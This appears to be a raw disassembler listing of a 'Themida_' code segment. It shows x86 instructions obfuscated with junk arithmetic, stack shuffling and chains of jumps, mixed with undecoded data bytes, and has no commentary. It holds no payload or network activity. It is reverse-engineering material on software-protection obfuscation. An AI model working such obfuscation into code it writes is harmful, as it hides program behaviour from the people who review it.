		mov	edx, 4
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		push	2FE2h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_515D6F
; ---------------------------------------------------------------------------


loc_50F5AF:				; CODE XREF: Themida_:00511CD5j
		add	ecx, 0EAE8D584h
		push	ebx
		jmp	loc_51F183
; ---------------------------------------------------------------------------
		db 81h
		dd 39173DC3h, 0E9F32964h, 0DE9Ah, 7BE95D5Bh
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F5CF:				; CODE XREF: Themida_:00517E4Ej
		mov	ebx, 0D47C8F2h
		add	esi, ebx
		jmp	loc_514E22
; ---------------------------------------------------------------------------
a0ZaJqiSseo	db '0ZÆQSo',0
		align 2


loc_50F5EA:				; CODE XREF: Themida_:00513096j
		pop	edx
		sub	ebp, eax
		add	ebp, 5C2747CEh
		jmp	loc_5116E0
; ---------------------------------------------------------------------------
aBiR5S		db '5!',8,0
		dw 0B100h
		dd 8B5E963h, 34FF0001h,	2434FF24h, 0FD2CE9h, 4EC8100h
		dd 89000000h, 1BD242Ch,	0E90EBA1Bh, 0FFFFEA4Ah,	1240481h
		dd 5841032Eh, 32E012Dh,	97055941h, 68DF8ECDh, 6EE1h, 8B240489h
		dd 0C481241Ch, 4, 0ED34E9h, 5986BD00h, 0E821118Bh, 2C74355Dh
		dd 26E933AEh, 810000B6h, 4C4h, 0CB685000h, 89000078h, 4832424h
		dd 48B0424h, 4C48324h, 0D0B95155h, 0BD60D35Bh, 60D35BD4h
		dd 84E9CD31h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F68F:				; CODE XREF: Themida_:00520205j
		xchg	ecx, [esp]
		pop	esp
		push	0E80h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	2C2Fh
		jmp	loc_51057A
; ---------------------------------------------------------------------------
		dw 4BBAh
		dd 9491543h, 0E992E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F6BA:				; CODE XREF: Themida_:00519EBEj
		shr	eax, 3
		inc	eax
		jmp	loc_5193E3
; ---------------------------------------------------------------------------
		db 0B8h
		dd 43BA4E1Dh, 13F5E9h, 2DD82900h, 19AF60D9h, 0D51C1C05h
		dd 7EA52D65h, 2E686546h, 89000006h, 6850241Ch, 24E55CA8h
		dd 4E3B0D58h, 6D0D7A33h, 25636349h, 76211DF5h, 74BE035h
		dd 44D5E912h, 248B0000h, 0BED7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F70E:				; CODE XREF: Themida_:0050D238j
		or	edi, 7BD45A11h
		xor	edi, 34D700EBh
		add	eax, edi
		jmp	loc_51BD18
; ---------------------------------------------------------------------------
		db 0BAh, 4Ah, 68h
		dd 0D2F712C0h, 6963CA81h, 44E93CF7h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F733:				; CODE XREF: Themida_:00511D9Cj
		add	bh, 0FEh
		xor	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	al, 3
		add	dl, al
		pop	eax
		push	bx
		mov	bl, 0E2h
		add	dl, bl
		pop	bx
		add	dl, ah
		sub	dl, 0E2h
		jmp	loc_51C5C8
; ---------------------------------------------------------------------------


loc_50F759:				; CODE XREF: Themida_:00516A84j
		mov	[esp], edx
		push	edi
		push	706E6D4Dh
		jmp	loc_51616B
; ---------------------------------------------------------------------------


loc_50F767:				; CODE XREF: Themida_:0051A0FBj
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	eax
		push	2485h
		jmp	loc_51A28F
; ---------------------------------------------------------------------------
		dd 33241C31h, 248B241Ch, 243C8924h, 74FEE954h, 0E9580000h
		dd 0B0F6h
; ---------------------------------------------------------------------------


loc_50F790:				; CODE XREF: Themida_:0051822Fj
		sub	ecx, eax
		pop	eax
		add	ecx, ebx
		push	esi
		jmp	loc_51FC36
; ---------------------------------------------------------------------------
		db 56h
		dd 0F2895E55h, 504A5D5Eh, 941ABCB8h, 6CE6E90Eh,	0F7050000h
		dd 55714909h, 6C3DD2BDh, 5DE8010Ah, 6DC068h, 241C8900h
		dd 818C8668h, 2434FF70h, 83241C8Bh, 0C48304C4h,	0BD555604h
		dd 352D3429h, 0FFDF2BE9h, 45EA81FFh, 11DA30Fh, 45C281EAh
		dd 0E91DA30Fh, 166Eh
; ---------------------------------------------------------------------------


loc_50F7F4:				; CODE XREF: Themida_:00518A07j
		xchg	edi, ebx
		not	edi
		push	ebx
		push	0EF6h
		mov	[esp], edi
		pop	ebx
		jmp	loc_514B51
; ---------------------------------------------------------------------------
		db 59h
		dd 8758C501h, 248B242Ch, 9B77E924h, 0EB830000h,	241C8704h
		dd 0ABEAE9h, 28E3B300h,	2C5B66D9h, 52C82862h, 38E9A1B6h
		dd 810000EAh, 62A16C6h,	81FE017Dh, 62A16EEh, 0F7965F7Dh
		dd 0A06CE9D0h, 0BA520000h, 14DA4E70h, 0E8B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F855:				; CODE XREF: Themida_:00511122j
		push	800h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_51B303
; ---------------------------------------------------------------------------


loc_50F8A1:				; CODE XREF: Themida_:0051535Bj
		add	edi, 19A11B5Ch
		pop	esi
		pop	eax
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_513043
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 0AA70E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F8BD:				; CODE XREF: Themida_:0050D432j
		add	bl, 0FFh
		add	bl, 0B4h
		shl	bl, 3
		neg	bl
		sub	bl, 46h
		jmp	loc_51AC7A
; ---------------------------------------------------------------------------


loc_50F8D0:				; CODE XREF: Themida_:0050E720j
		add	esi, 4F03430h
		add	esi, ebp
		push	ebx
		mov	ebx, 4F03430h
		sub	esi, 6AE50B05h
		push	ebx
		mov	ebx, 2D166925h
		jmp	loc_518950
; ---------------------------------------------------------------------------


loc_50F8EF:				; CODE XREF: Themida_:0051322Bj
		mov	ebp, esp
		push	edx
		mov	edx, 8A037FCh
		shr	edx, 2
		xor	edx, 67CA4764h
		inc	edx
		inc	edx
		add	edx, 23FA27A4h
		sub	edx, 89DC723Dh
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_50FDE3
; ---------------------------------------------------------------------------
		dw 0FA28h
		dd 5AD0005Bh, 0FFD77EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50F929:				; CODE XREF: Themida_:005114C3j
		sub	ebx, 0F8C03E5Fh
		sub	ebx, 0FFFFFFFFh
		jmp	loc_50FEDF
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51D78C
; ---------------------------------------------------------------------------


loc_50F945:				; CODE XREF: Themida_:0051CB6Bj
		add	esp, 4
		sub	esp, 4
		jmp	loc_50D01B
; ---------------------------------------------------------------------------


loc_50F953:				; CODE XREF: Themida_:0051A4B3j
		sub	edx, 61DE0D39h
		xor	edx, 2D292588h
		inc	edx
		shr	edx, 4
		add	edx, 30161486h
		sub	edi, edx
		pop	edx
		sub	edi, eax
		add	edi, 38A555FBh
		pop	eax
		pop	eax
		push	eax
		mov	eax, 2
		add	edi, 45474C04h
		push	ebp
		mov	ebp, 92363E9h
		sub	edi, ebp
		pop	ebp
		sub	edi, eax
		add	edi, 92363E9h
		push	edx
		mov	edx, 45474C04h
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_5204A3
; ---------------------------------------------------------------------------
		db 83h
		dd 0BE5604C4h, 236A9D5Fh, 315EF731h, 243C8BF8h,	104C483h
		dd 8F57E9C1h, 3C8B0000h, 0E3895324h, 34C1E9h, 58C28900h
		dd 5D5568h, 0B2CBE900h,	0B8500000h, 6CD76B4Dh, 5058C709h
		dd 0FFC6E0E9h, 1B29BAFFh, 23E97A85h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F9EF:				; CODE XREF: Themida_:0052012Dj
		mov	esp, [esp]
		jmp	loc_5168AB
; ---------------------------------------------------------------------------


loc_50F9F7:				; CODE XREF: Themida_:0051C0E0j
		xor	edi, 407F39E0h
		mov	ecx, edi
		pop	edi
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		jmp	loc_51F7E1
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0AAE9240Ch, 80000028h, 0FDE92BEBh, 57000094h, 37242C81h
		dd 5E7A9769h, 6937C681h, 0E95F7A97h, 30D1h, 1024E95Ah
		dd 48B0000h, 4EC8324h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	ecx
		jmp	loc_519C70
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 44810424h, 23CF0424h, 1C8B472Ah, 0DC08E924h,	0C481FFFFh
		dd 4, 0E905EDC1h, 97FBh, 287C2C5Bh, 5A7C04F0h, 8904EC83h
		dd 0EC81241Ch, 4, 83242489h, 5B042404h,	11461E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FAA5:				; CODE XREF: Themida_:0050F060j
		push	esp
		pop	esi
		jmp	loc_510DFF
; ---------------------------------------------------------------------------


loc_50FAAC:				; CODE XREF: Themida_:00518053j
		pop	edi
		add	edi, 37BF258Ch
		sub	edi, 3ECA09A8h
		sub	edi, 0B6F1A466h
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5D154E61h
		neg	edi
		jmp	loc_51594E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd offset dword_4B305C+0Ch
		dd 24148900h, 25D568h, 24048900h, 0FB15E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50FAEE:				; CODE XREF: Themida_:0051F21Cj
		add	bl, 0F2h
		sub	bl, 2Ch
		jmp	loc_51D2BA
; ---------------------------------------------------------------------------


loc_50FAF9:				; CODE XREF: Themida_:0050DB5Aj
		pop	ebx
		push	2520h
		mov	[esp], ecx
		jmp	loc_50E430
; ---------------------------------------------------------------------------
		db 89h
		dd 2434FFFDh, 83243C8Bh, 895004C4h, 0D31E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FB1A:				; CODE XREF: Themida_:00520FC8j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_514CAA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4832414h, 24048F04h, 6624248Bh,	9C240409h
		dd 0FFBAA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50FB45:				; CODE XREF: Themida_:0051F3E0j
		xor	ebp, [esp]
		jmp	loc_5174DC
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 6Ah
		dd 31D1613Dh, 0D3315EF2h, 836EE9h, 80EB8600h, 0E3D0EAC3h
		dd 8335F380h, 0C8904ECh, 88DD8824h, 95E959ECh
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50FB77:				; CODE XREF: Themida_:0050E592j
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_51239C
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0F433h, 4C4815Bh, 53000000h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 30E95C24h, 890000E8h, 5356240Ch
		dd 6C4481BBh, 9B4DE916h, 0C4810000h, 4,	1FF2F181h, 0EDE9527Ah
		dd 0BD0000BDh, 321D6189h, 55DE829h, 3F7A0313h, 110C9E9h
		dd 60C38100h, 97B4F21h,	86055BD8h, 51C7C57h, 92579E0Dh
		dd 4EC81h, 2C890000h, 9F8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FBFE:				; CODE XREF: Themida_:00510FD7j
		mov	[esp], ebx
		jmp	loc_5171F2
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0AE95424h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50FC0F:				; CODE XREF: Themida_:0051896Bj
		mov	esi, 49EC68C2h
		add	ecx, 26093F7Eh
		add	ecx, esi
		sub	ecx, 26093F7Eh
		pop	esi
		add	eax, 135852E4h
		add	eax, ecx
		push	esi
		mov	esi, 45F06113h
		push	edx
		push	ebx
		mov	ebx, 56A833F7h
		push	ebx
		pop	edx
		pop	ebx
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_50E988
; ---------------------------------------------------------------------------
		dd 5BFDBB53h, 0E3C13A07h, 8EBC105h, 115AE9h
		db 0
; ---------------------------------------------------------------------------


loc_50FC55:				; CODE XREF: Themida_:0051E53Cj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5147D4
; ---------------------------------------------------------------------------
		dd 0BF57515Ah, 4, 0E95FF989h, 88D2h
; ---------------------------------------------------------------------------


loc_50FC78:				; CODE XREF: Themida_:00515B25j
		mov	ecx, 4669215Bh
		jmp	loc_50C519
; ---------------------------------------------------------------------------


loc_50FC82:				; CODE XREF: Themida_:005146C6j
		add	ebp, edx
		push	edx
		mov	edx, 4BA7043Dh
		push	edi
		mov	edi, 409F4457h
		push	ebp
		mov	ebp, 3CF0413h
		add	edx, 23D62DC8h
		add	edx, ebp
		sub	edx, 23D62DC8h
		pop	ebp
		sub	edx, edi
		push	ebp
		jmp	loc_51B88B
; ---------------------------------------------------------------------------
		db 55h,	52h, 57h
		dd 0A853A8BFh, 0EBE5E962h, 6858FFFFh, 1139h, 83243489h
		dd 248904ECh, 4BF5724h,	0E9000000h, 59AFh, 585278BEh, 0F8BA5233h
		dd 96AED15h, 4350E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FCE6:				; CODE XREF: Themida_:0050D563j
		mov	ebx, esp
		push	625Dh
		mov	[esp], ecx
		push	ebp
		mov	ebp, 20AA5B92h
		push	ebx
		mov	ebx, 0DF55A472h
		mov	ecx, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 168D7952h
		xor	esi, 4331421h
		jmp	loc_50D74D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24348700h, 6624248Bh, 0E9240C8Bh, 0DBFh, 80CDC980h
		dd 6DE924C9h, 81000081h, 7004246Ch, 8B72884Ah, 8953243Ch
		dd 84BA52E3h, 8107FA33h, 682AF4F2h, 42DAF747h, 0E68DEA81h
		dd 0D301BF6Dh, 4C3835Ah, 5C241C87h, 0E9241C8Bh,	1018h
; ---------------------------------------------------------------------------


loc_50FD68:				; CODE XREF: Themida_:0051F934j
		xor	edx, 8B2B9A5Eh
		jmp	loc_51C858
; ---------------------------------------------------------------------------
		db 81h
		dd 0E57BA4E9h, 81D1016Ah, 0E57BA4C1h, 77E4E96Ah, 0B9510000h
		dd 16265226h, 0ADDEC181h, 0C281E9D9h, 1C746036h, 496BEA81h
		dd 0EA816E25h, 65651695h, 0C281CA01h, 65651695h, 0E3D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FDB1:				; CODE XREF: Themida_:0050E431j
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_50D1D6
; ---------------------------------------------------------------------------
		db 66h,	5, 55h
		dd 0D801665Bh, 5B552D66h, 5E95B66h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50FDE3:				; CODE XREF: Themida_:0050F919j
		pop	esi
		xchg	ebp, [esp]
		jmp	loc_50D2CE
; ---------------------------------------------------------------------------


loc_50FDEC:				; CODE XREF: Themida_:0051BC3Cj
		not	esi
		and	esi, 389465D9h
		xor	esi, 7C9F6A1Eh
		add	esi, 31602D70h
		jmp	loc_50D403
; ---------------------------------------------------------------------------
		db 0BFh, 7, 61h
		dd 0CF813311h, 7450597Ch, 12F7E9h, 24348900h, 31B95157h
		dd 0E966A422h, 0FFFFDCDAh, 24348153h, 7CCC7F8Ch, 83242C8Bh
		dd 0F58104C4h, 7CCC7F8Ch, 8BEF895Bh, 0C483242Ch, 0FDC78104h
		dd 10BA076h, 0FDB850D7h, 290BA076h, 34FF58C7h, 24148B24h
		dd 0E904C483h, 5027h, 592434FFh, 5204C483h, 1BAh, 5AD10100h
		dd 0FFFFB850h, 7EE9FFFFh, 3000009Dh, 14322414h,	0CE37E924h
		dd 0C781FFFFh, 4, 703C68h, 3D9AE900h, 0C1000000h, 5CC18058h
		dd 254968h, 6724E900h, 0ECBE0000h, 816D677Fh, 0F72DC6F6h
		dd 5EF3293Fh, 0BD55C329h, 74F21B1Bh, 7830E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FEC1:				; CODE XREF: Themida_:0051FFE7j
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 5EA770A6h
		mov	edi, esi
		pop	esi
		add	edi, 0B84FE56Eh
		add	ecx, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_513351
; ---------------------------------------------------------------------------


loc_50FEDF:				; CODE XREF: Themida_:0050F932j
		push	esi
		push	edi
		push	36AD0560h
		pop	edi
		not	edi
		jmp	loc_510428
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 0E92434FFh, 349Ch, 0E958E700h, 0FFFFBBC2h
		dd 0E9241489h, 1B05h, 1FE9DF01h, 83FFFFBDh, 0F381FFC3h
		dd 14202C6Fh, 0C108E3C1h, 0BA5204EBh, 3D7B156Fh, 894E957h
		dd 0D3F70001h, 2414F753h, 5BBA685Bh, 4890000h, 6ABDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FF42:				; CODE XREF: Themida_:00519CC0j
		pop	ecx
		add	esp, 4


loc_50FF46:				; CODE XREF: Themida_:0051F5CFj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5158D1
; ---------------------------------------------------------------------------


loc_50FF73:				; CODE XREF: Themida_:00515136j
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_5159C4
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0F2h
		dd 880000D8h, 0CD61E9D5h, 0BB530000h, 43C83610h, 0F75BD831h
		dd 0E4BF57D0h, 31379076h, 243C8BF8h, 5104C483h,	0B08BA52h
		dd 0CA810671h, 7A7471F7h, 66A4E9h, 24048700h, 0F7B2E95Ch
		dd 815F0000h, 4C7h, 0D8685300h,	8900002Ah, 52512404h, 0DD50B2BAh
		dd 0C3CA8115h, 814F0109h, 93D878C2h, 8BD189C0h,	0C4832414h
		dd 0A34DE904h, 0FD680000h, 89000078h, 8B54241Ch, 18E9241Ch
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50FFFF:				; CODE XREF: Themida_:0051C4B6j
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, 3D9A75Bh
		xor	eax, ebp
		pop	ebp
		jmp	loc_51614B
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0F1h
		dd 1D16522Ch, 0FFE128E9h, 0FFC480FFh, 80E4C480h, 0E952EFCCh
		dd 6236h
; ---------------------------------------------------------------------------


loc_510030:				; CODE XREF: Themida_:0051311Cj
		add	edx, 2237423Ch
		mov	esi, [esp]
		add	esp, 4
		xor	edx, 25490456h
		sub	esi, edx
		pop	edx
		and	eax, esi
		jmp	loc_513747
; ---------------------------------------------------------------------------
		db 29h
		dd 0EEBE56D8h, 0E91DFA5Ah, 0D0CDh, 31243433h, 34332434h
		dd 4E95C24h, 57000060h,	5F2414F7h, 5145FD87h, 65B2D0B9h
		dd 8BCD0119h, 0C483240Ch, 5DEE8904h, 460BC681h,	0CE296696h
		dd 460BEE81h, 65E96696h, 8B00003Fh, 0C4832414h,	4EC8104h
		dd 89000000h, 95B9240Ch, 831E983Ch, 3C8904ECh, 7F1ABF24h
		dd 0F90926FBh, 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h
		dd 0E83E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5100D2:				; CODE XREF: Themida_:00520D1Aj
		pop	edi
		sub	ecx, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	148h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_517AF2
; ---------------------------------------------------------------------------


loc_5100ED:				; CODE XREF: Themida_:0050CBBFj
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_51C31D
; ---------------------------------------------------------------------------


loc_5100FE:				; CODE XREF: Themida_:00519BC0j
		push	esi
		jmp	loc_50B657
; ---------------------------------------------------------------------------


loc_510104:				; CODE XREF: Themida_:0051218Fj
		push	ecx
		mov	ecx, 156D1588h
		add	[esp+8], ecx
		pop	ecx
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 156D1588h
		add	dword ptr [esp+4], 192E41h
		jmp	loc_50BFB3
; ---------------------------------------------------------------------------
		dd 24248966h, 4D16E9h, 0C8B6600h, 5CC96824h, 3C890000h
		dd 57E78924h, 0B850E789h, 4, 16E9C701h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_51014F:				; CODE XREF: Themida_:0050E74Fj
		mov	[esp], esi
		mov	esi, 64FA1905h
		jmp	loc_513032
; ---------------------------------------------------------------------------


loc_51015C:				; CODE XREF: Themida_:00512559j
		push	57DCh
		mov	[esp], esi
		jmp	loc_50F276
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 5104C483h, 0C181E189h, 4, 7306BE56h,	0C6814B82h, 5DA77CAh
		dd 0FFDE3AE9h, 4BCE81FFh, 8174E80Bh, 4ECh, 243C8900h, 7471CDBFh
		dd 6DE9527Bh, 89000036h, 405E0h, 0E8830000h, 24048704h
		dd 243C895Ch, 0FFCFFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5101B9:				; CODE XREF: Themida_:0051572Dj
		push	eax
		push	esi
		pop	eax
		jmp	loc_51BB9C
; ---------------------------------------------------------------------------


loc_5101C1:				; CODE XREF: Themida_:0050E571j
		push	dword ptr [esp]
		jmp	loc_50F2F7
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 0E9000000h, 7AC7h, 0B062B353h, 0C4DAE977h, 0C8BFFFFh
		dd 4C48324h, 4C481h, 22E90000h,	8B000024h, 0C4812404h
		dd 4, 4EC81h, 3E90000h,	0D1FFFFFAh, 6B850E7h, 211BD86Fh
		dd 0E95358C7h, 107D6h, 0EAE92C2Ch, 550000DEh, 8904EC83h
		dd 0AEBB241Ch, 892A2F6Ah, 0A5E95BDDh, 510000C1h, 592404FEh
		dd 77B35366h, 5B66D900h, 68h, 242C8000h, 240C28D1h, 0D1240480h
		dd 0E00FE9h, 2E7C100h, 2D8CF81h, 0EF812B69h, 2B7B43D8h
		dd 34FFFA89h, 0C4835F24h, 0E9D50104h, 639Ch, 24048F5Ch
		dd 6424248Bh, 0E9028966h, 7E43h
; ---------------------------------------------------------------------------


loc_510280:				; CODE XREF: Themida_:00512CCCj
		sub	ebx, 47C245Ch
		add	ebx, ecx
		push	edx
		mov	edx, 47C245Ch
		add	ebx, edx
		pop	edx
		pop	ecx
		jmp	loc_516287
; ---------------------------------------------------------------------------


loc_510297:				; CODE XREF: Themida_:0051AA3Ej
		push	esi
		jmp	loc_518C0C
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 1Dh
		dd 55FFFFBDh, 5A263FBDh, 77B85037h, 48710D5Ch, 3F033540h
		dd 0ABE941C0h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5102BB:				; CODE XREF: Themida_:0051FFBBj
		mov	edi, 667D56EAh
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		inc	ebp
		neg	ebp
		xor	ebp, 0CD17CC92h
		mov	edx, ebp
		pop	ebp
		push	5EE2h
		mov	[esp], ebx
		jmp	loc_51C05B
; ---------------------------------------------------------------------------
		dd 8B243433h, 89662424h, 0F2E92404h, 51FFFFB2h,	4F55BB53h
		dd 0EBC171F4h, 7EBC102h, 0FFDE9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510305:				; CODE XREF: Themida_:0050D6EDj
		mov	edi, ebp
		jmp	loc_50B6E3
; ---------------------------------------------------------------------------
		dd 3065B35Bh, 24048BE3h, 20A068h, 241C8900h, 6BE9E389h
		dd 5F00009Ch, 0FD41E9h,	81D50100h, 307334C5h, 30C58162h
		dd 5A7AA76Dh, 0FFD320E9h, 0CAC681FFh, 1164C57h,	0CAEE81FEh
		dd 8B164C57h, 0E955243Ch, 733h
; ---------------------------------------------------------------------------


loc_510354:				; CODE XREF: Themida_:00513147j
		dec	esi
		shl	esi, 1
		xor	esi, 1BE8C56Ch
		xor	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 43D31F94h
		push	eax
		mov	eax, 36148CFh
		or	eax, 21051AB4h
		jmp	loc_50E271
; ---------------------------------------------------------------------------


loc_51037C:				; CODE XREF: Themida_:0051DBBAj
		pop	edx
		add	ecx, edi
		jmp	loc_50C381
; ---------------------------------------------------------------------------
		dd 58E388h, 0D3F65AD3h,	0C014EB80h, 0F38004EBh,	0E9D8309Ch
		dd 73B0h, 501CBE56h, 0E9536097h, 0FFFFCCAFh, 0DA4161BEh
		dd 0C1EED15Bh, 0F0E906E6h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5103B7:				; CODE XREF: Themida_:0050F232j
		xor	ecx, ebx
		jmp	loc_50B716
; ---------------------------------------------------------------------------


loc_5103BE:				; CODE XREF: Themida_:00510E99j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3426h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_51E276
; ---------------------------------------------------------------------------
		dd 0E294FBDh, 2953B85Eh, 0E8295E0Eh, 8C5815Dh, 149434Eh
		dd 8ED81C5h, 5849434Eh,	0E904ED83h, 0FE81h, 55243C89h
		dd 3CD8E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510402:				; CODE XREF: Themida_:00511E97j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_516C0E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 0E9E78957h, 0FFFFFA5Eh
; ---------------------------------------------------------------------------


loc_510428:				; CODE XREF: Themida_:0050FEE9j
		shr	edi, 4
		add	edi, 46000383h
		push	edi
		add	dword ptr [esp], 77FE7975h
		pop	esi
		sub	esi, 77FE7975h
		pop	edi
		shr	esi, 3
		inc	esi
		add	esi, 5C70B3F8h
		add	ebx, esi
		jmp	loc_513345
; ---------------------------------------------------------------------------


loc_510452:				; CODE XREF: Themida_:0050E62Dj
		push	edi
		mov	edi, 1FCF58A0h
		add	esi, edi
		jmp	loc_510839
; ---------------------------------------------------------------------------
		db 59h
		dd 4BD55h, 0EE010000h, 2434875Dh, 4A87685Ch, 2C890000h
		dd 2C8B5424h, 43CE924h,	0C7810001h, 35732156h, 0AA2DE9h
		dd 68405B00h, 5718h, 51241C89h,	4E5E49B9h, 166BB27h, 0C381E0C2h
		dd 76BE7DE1h, 0EB81CB01h, 76BE7DE1h, 0FFE899E9h, 0E9F831FFh
		dd 10454h
; ---------------------------------------------------------------------------


loc_5104B8:				; CODE XREF: Themida_:00511047j
		push	ecx
		jmp	loc_5132F6
; ---------------------------------------------------------------------------


loc_5104BE:				; CODE XREF: Themida_:00519695j
		neg	edi
		shl	edi, 4
		xor	edi, 27C07220h
		shl	edi, 5
		sub	edi, 0FBD73D96h
		sub	ebx, edi
		pop	edi
		sub	ebx, 346687ACh
		jmp	loc_514D08
; ---------------------------------------------------------------------------
		dd 5CEE8158h, 893938EDh, 3EB8E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5104EE:				; CODE XREF: Themida_:0051384Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_50DB54
; ---------------------------------------------------------------------------


loc_5104FF:				; CODE XREF: Themida_:0051E872j
		push	edx
		jmp	loc_515097
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4EF8100h, 33000000h, 3C31243Ch, 243C3324h, 0FFBD23E9h
		dd 5DE829FFh, 4EC81h, 4890000h,	2BBE5624h, 31001009h, 8B042474h
		dd 40E92434h, 55FFFFD8h, 9AABCCBDh, 5DEE31C1h, 348BF529h
		dd 0E6895624h, 4C681h, 0BD550000h, 5AE82256h, 0FFFFED81h
		dd 30E9FFFFh, 2DFFFFE0h, 6BF5D4Ah, 81242C8Bh, 4C4h, 0CC41E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
